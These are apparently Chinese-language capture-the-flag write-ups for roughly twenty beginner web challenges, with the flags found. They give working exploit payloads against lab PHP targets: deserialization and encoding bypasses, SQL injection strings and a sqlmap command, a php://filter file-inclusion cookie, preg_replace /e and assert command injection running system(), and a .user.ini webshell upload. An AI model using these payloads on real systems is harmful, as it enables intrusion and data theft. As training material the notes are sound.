新手第一题:Training-WWW-Robots
图片提示:
解题流程:
具体操作:打开菜单-->Web开发者-->查看器(或者快捷键ctrl+shift+c)
robots.txt文件被网络爬虫使用,以检查它们是否被允许抓取和索引您的网站或仅部分网站。
访问robots.txt路径发现
继续访问/fl0g.php文件
找到flag:cyberpeace{2fe43e3e5bfa7db8b4102203254a4ad9}
新手第二题:PHP2
查看网页提示
你能登陆这个网站吗?
新增知识笔记:
网页文件的后缀分别有htm、html、JSP HTML、php、ASP动态网页文件、PHP/PHP3、PHTML 这几种。
分析网站为PHP语言编写,那后缀一般是admin.php\login.php\index.php........
通过kailiLinux工具dirb扫描网站目标找到网站登陆地址:http://61.147.171.105:55379/index.php
最后在index.php后加了个s,index.phps。然后就出效果了。
phps其实就是php Source,根据意思也可以知道是php源代码。
所以phps就是php的源代码文件。通常用来给用户查看php代码的。因为用户无法直接在Web浏览器查看php文件里的内容。然后需要用到phps文件来代替了。
这或许是源码泄露,分析一下源代码
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
代码分析:
===与==的区别
===是比较值和数据类型
==它是比较值,不比较数据类型
例如:$a='123' $b=123
$a===$b //False
$a==$b //True
里面有一个urldecode,意思就是用于解码已编码的 URL 字符串,其原理就是把十六进制字符串转换为中文字符
要求admin不能等于get传过来的值,又要求在get传过来的值经过urldecode后等于admin
而且浏览器会对非ASCII字符自动进行一次urldecode,所以我们还得编码两次。
%2561解码就是%61 //第一次解码
%61解码就为a //第二次解码
/index.php?id=%2561dmin
找到flag: cyberpeace{c2e2cb0dca2596affa3609e2b51b5453}
新手第三题:unserialize3
查看网页提示
_wakeup(),如果需要反序列化的时候,php才会调用_wakeup()。所以我们需要利用反序列化。
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a = new xctf();
echo serialize($a);
?>
/?code=O:4:"xctf":1:{s:4:"flag";s:3:"111";}
xctf为类名,4为字符数,1为序列化字符串中变量个数
正常结果输入时,会执行__wakeup(),从而输出'bad requests',并退出脚本,因此利用漏洞绕过__wakeup()
将序列化字符串中代表变量个数的数字改为大于其真实值的数字,并进行GET请求,得到结果。
/?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
找到flag: cyberpeace{8bd4eb5e3826c8f09e823e425672d9a2}
新手第四题:ics-06
观察页面提示
点击报表中心页面,地址信息为/index.php?id=1
尝试选择日期范围,还是id=1
利用burp suite进行暴力破解测试
payload:/index.php?id=2333
找到flag: cyberpeace{51a43cb4a90340e0ef9eea0bb7c81a23}
新手第五题:view_source
查看页面提示
网页无法通过右键-检查-打开开发者工具
payload:view-source:
找到flag:cyberpeace{cef6c21169ffb5699ad5a36e016216d8}
新手第六题:get_post
查看网页提示
最直观的区别就是GET把参数包含在URL中,POST通过request body传递参数。
get请求:
post请求:
找到flag:cyberpeace{0f2cf2abec3d7321dc92e73072ce602a}
新手第七题:robots
robots协议也称爬虫协议、爬虫规则等,是指网站可建立一个robots.txt文件来告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取,而搜索引擎则通过读取robots.txt文件来识别这个页面是否允许被抓取。
观察网页提示:
访问路径:/robots.txt
继续访问/f1ag_1s_h3re.php 文件
找到flag: cyberpeace{24c2abc948e55044e670582f0a30fee3}
新手第八题:backup
观察网页信息:
尝试加入网页文件名无反应
如果网站存在备份文件,常见的备份文件后缀名有:“.git” 、“.svn”、“ .swp”“.~”、“.bak”、“.bash_history”、“.bkf” 尝试在URL后面,依次输入常见的文件备份扩展名。
测试通过御剑工具进行备份文件扫描
扫描到一个bak可以文件访问路径/index.php.bak拿到flag
找到flag:"Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}"
新手第九题:cookie
观察页面信息
看到cookie文件,访问cookie.php
提示观察HTTP响应
具体操作:打开菜单-->Web开发者-->网络
找到flag:cyberpeace{b2abf121540996089fc9c2ec3395beff}
新手第十题:disabled_button
观察网页信息
有个按钮工具无法启用查看源代码
发现form表单中的按钮有disabed属性,修改或删除测试
找到flag:cyberpeace{c5aa8679c5030205edf7b072119d726a}
新手第十题:weak_auth
观察网页信息:
测试输入test/password
提示用户需要输入admin
继续测试admin/123456
找到flag: cyberpeace{37f915fa92d4faab220bc3c5484b95b5}
新手第十一题:simple_php
查看网页信息
php中的== 和 ===的用法及区别:php中的==和===的用法及区别_程序猿式Chinoiserie的博客-CSDN博客
提示php简单语法,进入之后看到php代码,flag由两部分组成,
$a==0 and $a :要求a等于0,并且a是TRUE,php是弱语言,在执行关系运算“==”时要求运算符两边的数据类型必须一致,如果等号右边是字符串abc,会被强制转换为了整型0,但字符串是TRUE。
is_numeric($b) :is_numeric() 函数用于检测变量是否为数字或数字字符串。如果指定的变量是数字和数字字符串则返回TRUE,否则返回FALSE。
$b>1234 :b要大于1234,上面要求不能是数字和数字字符串,所以数字后面加字母就行:1345a。
$a=@$_GET['a'];$b=@$_GET['b'];
:GET方式输入a和b,/?a=abc&b=1345a
找到flag:Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}
新手第十二题:baby_web
查看网页信息
初始页面文件一般为index.php文件,但是访问界面为显示到页面上,打开开发者工具查看index.php文件响应头内容位置显示flag信息。
找到flag:flag{very_baby_web}
新手第十三题:inget
查看页面
测试SQL注入
检测是否存在SQL注入
sqlmap.py -u "http://61.147.171.105:50852/?id=1%27--+" --dump 查看记录
payload:/?id=1' or 1=1-- -
找到flag: cyberpeace{8d71a421a1bf5adbf8ced73e6671f4ca}
新手第十四题:easyupload
查看页面测试上传一张jpg文件格式的图片
文件路径可访问
.user.ini绕过(利用解析漏洞)
.user.ini中两个中的配置就是auto_prepend_file和auto_append_file。这两个配置的意思就是:我们指定一个文件(如1.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),相当于在index.php中插入一句:require(./1.jpg)。这两个设置的区别只是在于auto_prepend_file是在文件前插入,auto_append_file在文件最后插入。
利用.user.ini的前提是服务器开启了CGI或者FastCGI,并且上传文件的存储路径下有index.php可执行文件。
所以本题我们要想上传并且执行,首先上传.user.ini文件,然后上传一个图片。
先上传一个配置文件
再制作一个一句话木马图片
访问照片路径
检查网络上传文件的地址 (如果是空白就点击重新载入)
这个地址真的很重要!!!不能用那个网站本身的网址,也不能用Referer的那个
正确地址 http://223.112.5.156:57370/uploads/index.php
错误地址 http://223.112.5.156:57370/index.php
错误地址用蚁剑或者菜刀来连接测试返回数据为空
右键添加数据输入正确的URL地址
找到flag: cyberpeace{9cf9f5742497791c16630fdf328ecf60}
新手第十五题:fileinclude
观察网页信息
页面给出了flag在flag.php中,明确了目标,看一下网页源码
?php
if( !ini_get('display_errors') ) {
ini_set('display_errors', 'On');
}
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
@setcookie("language","english");
@include("english.php");
}
else
{
@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?
主要部分
$lan=$_COOKIE['language']; ==> $lan由cookie传入
if条件中 ==> $lan不存在则包含english.php,存在则会将$lan的值拼接.php然后进行包含。
分析到这里方法就明确了,通过cookie传入文件包含的payload,读取源码。
burp suite抓取数据包添加修改cookie内容
payload:
cookie:language=php://filter/read=convert.base64-encode/resource=flag
通过php://协议的filter读取源码,read=指定base64的转换过滤器,flag进行base64编码。
通过base64解码
找到flag:cyberpeace{9024999c9c3e5251224c5ce516b713cc}
新手第十六题:easyphp
观察页面信息
待......
新手第十七题:lottery
首页
flag需要钱买
抓购买包,将购买数字参数改为以下paylod
{"action":"buy","numbers":[true,true,true,true,true,true,true]}
多放几次包
那道flag
新手第十八题:ics-05
尝试御剑扫描url路径爆破、页面源代码
URL栏有参数?page=index 存在get传值
page的参数联想到可能存在文件包含漏洞
使用伪协议读取index.php源代码
源码分析
验证伪造XFF头来登入系统,同时利用preg_replace函数的漏洞
当pre_replace的参数pattern输入/e的时候 ,参数replacement的代码当作PHP代码执行
于是构造payload
/index.php?pat=/123/esrep=system("find+-iname+flag")&sub=123
注:这里
”+“号在url中会被解释成空格号,这里用%20也行
最后的payload
/index.php?pat=/123/e&rep=system("cat+./s3chahahaDir/flag/flag.php")&sub=123
得到flag
新手第十九题:mfw
http://61.147.171.105:60963/?page=about
http://61.147.171.105:60963/?page=about#
http://61.147.171.105:60963/?page=home
http://61.147.171.105:60963/?page=contact
查看页面源代码
yakit扫描器对web服务进行漏洞扫描
/.git/泄露
用cmder工具读取文件代码
flag文件为空
继续代码分析
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>My PHP Website</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Project name</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
<li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
<li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
<!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
</ul>
</div>
</div>
</nav>
<div class="container" style="margin-top: 50px">
<?php
require_once $file;
?>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
</body>
</html>
payload:flag.php','..')==false and system('cat templates/flag.php | base64') and strpos('templates/flag
新手第二十题:supersqli
构造闭合函数,判断数据库列数,根据提示报错过滤掉select 参数
构造报错注入函数进行绕过
1%27and+extractvalue(1,concat(1,version()));%00
-1%27and+extractvalue(1,concat(1,database()));%00
-1';use information_schema;set @sql=concat('s','elect column_name from columns wher','e table_name="1919810931114514"');PREPARE sql_query FROM @sql;EXECUTE sql_query;--+
新手第二十一题:NewsCenter
输入抓包发现post注入
sqlmap工具跑
找到flag